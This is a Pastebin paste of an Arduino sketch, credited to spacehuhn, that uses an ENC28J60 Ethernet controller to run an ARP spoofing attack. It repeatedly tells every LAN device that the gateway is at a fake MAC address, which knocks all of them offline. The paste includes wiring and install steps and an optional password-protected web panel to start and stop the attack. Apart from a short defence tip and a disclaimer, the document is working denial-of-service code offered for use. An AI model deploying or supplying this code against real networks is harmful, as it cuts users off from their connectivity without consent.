Advertisement
FlyFar

ArduinoARPSpoofer - Kicks out everyone in your LAN with Arduino and an ENC28J60 Ethernet controller

Jul 22nd, 2023
1,464
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Arduino 9.27 KB | Cybersecurity | 0 0
  1. /*
  2.   ===========================================
  3.        Copyright (c) 2017 Stefan Kremser
  4.               github.com/spacehuhn
  5.   ===========================================
  6. */
  7.  
  8. /*
  9. Introduction:
  10. What it is?
  11. Using an Arduino with an ethernet controller, this device will perform an ARP spoofing attack to block the communication from every client device in your LAN to the gateway.
  12.  
  13. How does it work?
  14. It will constantly send ARP replies to every device in the LAN and tell them that the gateway is at a random MAC adress.
  15. The gateway is the link between your local network and the internet. By telling everyone it's at an adress that doesn't exist, nobody will be able to communicate with it anymore and by that, lose the connection.
  16.  
  17. What an ENC28J60 is?
  18. The ENC28J60 is a cheap 10mbit SPI ethernet controller for Arduino. Because it has a very open and easy hackable library, it's perfect for this project and you could even program a man-in-the-middle attack or other funny stuff with it.
  19.  
  20. ENC28J60 ethernet shield and an Arduino nano
  21.  
  22. How to protect against it?
  23. Use a router, network switch, or software that provides you protection against ARP spoofing.
  24. Note: I haven't tested it on such protected hardware yet.
  25.  
  26. Disclaimer:
  27. Use it only for testing purposes on your own network!
  28.  
  29. Installation:
  30. You will need an Arduino and an ENC28J60.
  31. If you buy an Arduino ethernet shield be sure it doesn't use a wiznet controller (e.g. w5100 or w5500), this project will only work with an ENC28J60!
  32.  
  33. 1. Wire everything up
  34.  
  35. To do this you need to connect both the Arduino and the controller via their SPI pins. If you're unsure how to do this, you can google for the pinout of your Arduino and the ethernet controller. There are different versions of the ENC28J60 out there. I'm using a shield for the Arduino Nano.
  36.  
  37. 2. Install library
  38.  
  39. You will need to add the ether card library in Arduino.
  40. Ho to do that is explained here: https://github.com/jcw/ethercard
  41.  
  42. 3. [Optional] Change some settings
  43.  
  44. At the beginning of the sketch are a few settings declared that you can change.
  45.  
  46. // ===== Settings ===== //
  47. //#define webinterface /* <-- uncomment that if you want to use the webinterface */
  48. //#define debug /* <-- uncomment that if you want to use get a serial output */
  49. #define led 13
  50. #define auth_password "ARP"
  51. int packetRate = 20; //packets send per second
  52. static uint8_t mymac[] = { 0xc0, 0xab, 0x03, 0x22, 0x55, 0x99 };
  53. 4. Upload the code
  54.  
  55. Compile & upload the sketch to your Arduino and you are done :)
  56.  
  57. How to use it
  58. Power it over USB and plug in an ethernet cable.
  59.  
  60. Using the web interface:
  61. If you uncommented the web interface in the code, the Arduino won't start the attack by itself. You have to open its website and start the attack manually.
  62. The IP will be printed out in the serial monitor and the default password is ARP.
  63.  
  64. WebInterface
  65.  
  66. License
  67. This project is licensed under the MIT License - see the license file for details.
  68.  
  69. Sources and additional links
  70. ARP spoofing: https://en.wikipedia.org/wiki/ARP_spoofing
  71. ENC28J60: http://www.microchip.com/wwwproducts/en/en022889
  72. */
  73.  
  74. #include <enc28j60.h>
  75. #include <EtherCard.h>
  76. #include <net.h>
  77.  
  78. // ===== Settings ===== //
  79. //#define webinterface /* <-- uncomment that if you want to use the webinterface */
  80. //#define debug /* <-- uncomment that if you want to get a serial output */
  81. #define led 13
  82. #define auth_password "ARP"
  83. int packetRate = 20; //packets send per second
  84. static uint8_t mymac[] = { 0xc0, 0xab, 0x03, 0x22, 0x55, 0x99 };
  85.  
  86. #ifdef webinterface
  87. byte Ethernet::buffer[700];
  88. #else
  89. byte Ethernet::buffer[400];
  90. #endif
  91.  
  92. int arp_count = 0;
  93. unsigned long prevTime = 0;
  94. bool connection = false;
  95. bool toggle_status = false;
  96. bool tmp_status = true;
  97.  
  98. //ARP reply packet
  99. uint8_t _data[48] = {
  100.  /* 0  */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, //destination MAC
  101.  /* 6  */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //source MAC
  102.  /* 12 */ 0x08, 0x06, //frame type (ARP)
  103.  /* 14 */ 0x00, 0x01, //ethernet
  104.  /* 16 */ 0x08, 0x00, //ipv4
  105.  /* 18 */ 0x06, 0x04, //size, protocol size
  106.  /* 20 */ 0x00, 0x02, //opcode (1:request, 2:reply)
  107.  /* 22 */ 0x01, 0x01, 0x01, 0x01c, 0x01, 0x01, //source MAC
  108.  /* 28 */ 0xc0, 0xa8, 0x02, 0x01, //source IP
  109.  /* 32 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, //destination MAC
  110.  /* 38 */ 0xFF, 0xFF, 0xFF, 0xFF, //destination IP (255.255.255.255)
  111. };
  112.  
  113. bool sendARP() {
  114.  long curTime = millis();
  115.  
  116.   if (curTime - prevTime > 1000/packetRate) {
  117.    digitalWrite(led, HIGH);
  118.  
  119.    for (int i = 0; i < 48; i++) ether.buffer[i] = _data[i];
  120.    ether.packetSend(48);
  121.    arp_count++;
  122.    prevTime = curTime;
  123.  
  124.    digitalWrite(led, LOW);
  125.  
  126. #ifdef debug
  127.    Serial.println("ARP PACKET SENT");
  128. #endif
  129.  
  130.    return true;
  131.  }
  132.  
  133.  return false;
  134. }
  135.  
  136. void _connect() {
  137.  if (!ether.dhcpSetup()) {
  138. #ifdef debug
  139.    Serial.println("DHCP failed");
  140. #endif
  141.    connection = false;
  142.  } else {
  143. #ifdef debug
  144.    ether.printIp("My IP: ", ether.myip);
  145.    ether.printIp("Netmask: ", ether.netmask);
  146.    ether.printIp("GateWay IP: ", ether.gwip);
  147.    ether.printIp("DNS IP: ", ether.dnsip);
  148. #endif
  149.  
  150.    //set gateway IP
  151.    for (int i = 0; i < 4; i++) _data[28 + i] =  ether.gwip[i];
  152.  
  153.    //set fake MAC
  154.    for (int i = 0; i < 6; i++) _data[6 + i] = _data[22 + i] = mymac[i];
  155.  
  156.    //fill buffer
  157.    for (int i = 0; i < 48; i++) ether.buffer[i] = _data[i];
  158.  
  159.    connection = true;
  160.  }
  161. }
  162.  
  163. void setup() {
  164.  pinMode(led, OUTPUT);
  165.  
  166. #ifdef debug
  167.  Serial.begin(115200);
  168.  delay(2000);
  169.  Serial.println("ready!");
  170.  Serial.println("waiting for LAN connection...");
  171. #endif
  172.  
  173.  if (ether.begin(sizeof Ethernet::buffer, mymac) == 0) {
  174. #ifdef debug
  175.    Serial.println( "Failed to access Ethernet controller");
  176. #endif
  177.  }
  178.  
  179.  while (!connection) {
  180.    _connect();
  181.    delay(1000);
  182.  }
  183.  
  184. }
  185.  
  186. void loop() {
  187. #ifdef webinterface
  188.  
  189.  char len = ether.packetReceive();
  190.  char pos = ether.packetLoop(len);
  191.  tmp_status = false;
  192.  
  193.  if (pos) {
  194.    boolean password_valid = true;
  195.  
  196.    // is it a POST request?
  197.    if (strstr((char *)Ethernet::buffer + pos, "POST /") != 0) {
  198.  
  199.      #ifdef debug
  200.      Serial.println("New Post Request!");
  201.      #endif
  202.        
  203.      // search and verify the password
  204.      String password = "";
  205.      char* password_position = strstr((char *)Ethernet::buffer + pos, "pwd=");
  206.      if (password_position != 0) {
  207.        password = String(password_position).substring(4);
  208.        
  209.        password = password.substring(0,password.indexOf("&O"));
  210.        
  211.        #ifdef debug
  212.        Serial.println("Found password: '" + (String)password + "'");
  213.        #endif
  214.        if(password == auth_password) {
  215.          #ifdef debug
  216.          Serial.println("password correct :)");
  217.          #endif
  218.        } else {
  219.          #ifdef debug
  220.          Serial.println("wrong password! :(");
  221.          #endif
  222.          password_valid = false;
  223.        }
  224.  
  225.        if(password_valid){
  226.          // OFF command
  227.          if (strstr((char *)Ethernet::buffer + pos, "&OFF=") != 0) {
  228.            if (toggle_status) {
  229.              #ifdef debug
  230.              Serial.println("attack: OFF");
  231.              #endif
  232.              toggle_status = false;
  233.              tmp_status = true;
  234.            }
  235.  
  236.            // ON command
  237.          } else if (strstr((char *)Ethernet::buffer + pos, "&ON=") != 0) {
  238.            #ifdef debug
  239.            Serial.println("attack: ON");
  240.            #endif
  241.            toggle_status = true;
  242.            tmp_status = true;
  243.          } else {
  244.            #ifdef debug
  245.            Serial.println("unknown command");
  246.            #endif
  247.          }
  248.        }
  249.      }
  250.    } else {
  251.      tmp_status = true;
  252.    }
  253.  
  254.    // Output HTML page
  255.    BufferFiller bfill = ether.tcpOffset();
  256.  
  257.    bfill.emit_p(PSTR(
  258.      "HTTP/1.0 200 OK\n"
  259.      "Content-Type: text/html\n\n"
  260.      "<!Doctype html>"
  261.        "<html>"
  262.          "<head>"
  263.            "<title>ARP Panel</title>"
  264.            "<meta charset='utf-8'>"
  265.          "</head>"
  266.          "<body>"
  267.            "<h1>ARP Spoofer - WebPanel</h1>"
  268.            "<p>More info on the <a href=\"https://github.com/spacehuhn/enc28j60_ARPspoofer\">GitHub</a> page</p>"
  269.            "<form method=\"POST\">"
  270.              "<input type=\"password\" name=\"pwd\">"
  271.    ));
  272.    
  273.    // Enable / disable buttons based on the output status
  274.    if (toggle_status == true) bfill.emit_p(PSTR("<button name=\"OFF\">Turn OFF</button>"));
  275.    else bfill.emit_p(PSTR("<button name=\"ON\">Turn ON</button>"));
  276.  
  277.    bfill.emit_p(PSTR("</form><p>"));
  278.  
  279.    if(!password_valid) bfill.emit_p(PSTR("<b>Wrong password!</b><br><br>"));
  280.    
  281.    long t = millis() / 1000;
  282.    word h = t / 3600;
  283.    byte m = (t / 60) % 60;
  284.    byte s = t % 60;
  285.    bfill.emit_p(PSTR("Uptime: $D$D:$D$D:$D$D<br>"), h / 10, h % 10, m / 10, m % 10, s / 10, s % 10);
  286.    bfill.emit_p(PSTR("ARP packets sent: $D<br>"), arp_count);
  287.  
  288.    bfill.emit_p(PSTR("</p></body></html>"));
  289.    ether.httpServerReply(bfill.position());
  290.  } else {
  291.    tmp_status = true;
  292.    if (connection && toggle_status && tmp_status) {
  293.      sendARP();
  294.      tmp_status = false;
  295.    } else {
  296.      digitalWrite(13, LOW);  // No Connection, turn off STATUS LED
  297.    }
  298.  }
  299.  
  300. #else
  301.  if (connection) sendARP();
  302.  else digitalWrite(led, LOW); //No Connection, turn off STATUS LED
  303. #endif
  304. }
  305.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement